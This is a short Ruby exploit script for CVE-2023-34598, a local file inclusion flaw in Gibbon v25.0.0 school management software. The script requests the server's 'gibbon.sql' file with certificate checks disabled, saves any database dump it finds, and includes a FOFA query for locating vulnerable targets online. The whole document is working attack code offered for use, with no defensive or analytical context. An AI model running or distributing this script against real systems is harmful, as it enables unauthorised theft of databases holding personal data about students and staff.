CVE-2023-34598 exploit

gl.rb

require 'http'
require 'openssl'

puts """
CVE-2023-34598
Gibbon v25.0.0 LFI exploit
By komodo\n
"""

=begin

FOFA query to search vulnerable targets:
icon_hash="-165631681"

=end

$cont=1
$dirname="Gibbon_dump"
def dir(name=$dirname)
    begin
        Dir.mkdir(name)
        Dir.chdir(name)
    rescue Errno::EEXIST
        $cont+=1
        dir("#{$dirname}-#{$cont}")
    end
end

def main(url)
    url.delete_suffix!("/") unless url[-1..-1] != "/"
    @ctx = OpenSSL::SSL::SSLContext.new()
    @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    r=HTTP.get("#{url}/?q=gibbon.sql", :ssl_context=>@ctx)
    lmao = r.body.to_s
    if r.code == 200 and lmao.index("SQL Dump") != nil
        dir()
        File.open("!target.txt", "w"){|f|f.write(url)}
        File.new("gibbon.sql","w").write(lmao[lmao.index("-- phpMyAdmin")..lmao.index("AUTO_INCREMENT=8;")+16])
        puts "Database dump saved on '#{Dir.pwd.split("/")[-1]}/gibbon.sql' file."
    else
        puts "Not vulnerable! :(\n"
    end
end

begin
    print "Base URL: "
    main(gets.chomp)
rescue => e 
    abort(e.to_s)
end